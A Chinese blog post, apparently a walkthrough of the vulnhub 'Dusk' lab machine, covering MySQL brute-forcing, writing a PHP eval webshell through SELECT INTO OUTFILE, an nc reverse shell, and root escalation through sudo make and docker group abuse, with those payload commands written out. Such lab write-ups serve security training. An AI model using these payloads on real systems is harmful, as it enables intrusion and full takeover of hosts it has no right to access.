Dusk靶机渗透实战-vuluhub系列(十)

这是vulnhub靶机系列文章的第十篇,本次主要知识点为:mysql 3306端口爆破、sql-shell写webshell、nc反弹shell、sudo滥用提权之-make、docker命令

靶机下载链接:https://www.vulnhub.com/entry/sunset-dusk,404/

 

#001 环境搭建(nat)

攻击机kali:192.168.136.129

靶机Dusk:192.168.136.142

 

#002 实战writeup

寻找靶机ip,netdiscover -i eth0,发现靶机ip为192.168.136.144

 

 

Nmap扫描以下端口开放情况,发现开启了21,22,25,80,3306,8080端口

 

访问一下每个开放的端口,访问到http服务的8080端口时,给出当前工作目录为/var/tmp

 

 

尝试了一下其他端口也没有什么发现,ftp的21端口也不存在匿名登陆,所以尝试爆破了一下3306端口的mysql服务,成功爆破出账号密码root password

 

 

 

然后使用navicat直接连上数据库了,但是数据库啥都没。。。。

   

 

尝试使用mysql提权工具进行udf提权,但是插件目录只读,所以与失败告终

 

#0x03 提权失败,尝试写shell

因为root权限较高,并且刚才给出了/var/tmp,尝试直接写入一句话:

select '<?php eval($_POST[cmd]);?>' into outfile '/var/tmp/panda.php';

 

写入成功,上蚁剑连接

 

 

0x04 尝试sudo滥用提权到dusk用户

Whoami查看当前权限,只是个网站用户权限

 

Sudo -l 发现有个dusk用户,并且有几个命令可用于提权ping,mask,sl

 

 

但是蚁剑的终端不是标准的,所以这里执行反弹shell,新建一个一句话用来执行命令即可

 

 

 

 尝试过很多个一句话反弹shell,最终只有nc的可以成功

 

 

开启监听,nc -lvp 6666,成功接收到shell,并利用python转换终端

 

  

 

使用make命令提权到dusk用户,原本是这样的,但是要加上-u dusk指定用户,否则会提示你输入www-data的密码

COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"

 

 

0x05提权到root

Id,发现dusk用户在docker组内

  

直接利用docker提权命令,提权到root

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

 

Whoami,提权成功

 

 

 

0x06 总结归纳

利用3306端口爆破出mysql的账号密码

可以尝试直接udf提权

利用navicat远程连接数据库并进行写一句话shell

Sudo滥用导致提权

Docker提权

posted @ 2020-07-02 10:07  PANDA墨森  阅读(646)  评论(1编辑  收藏  举报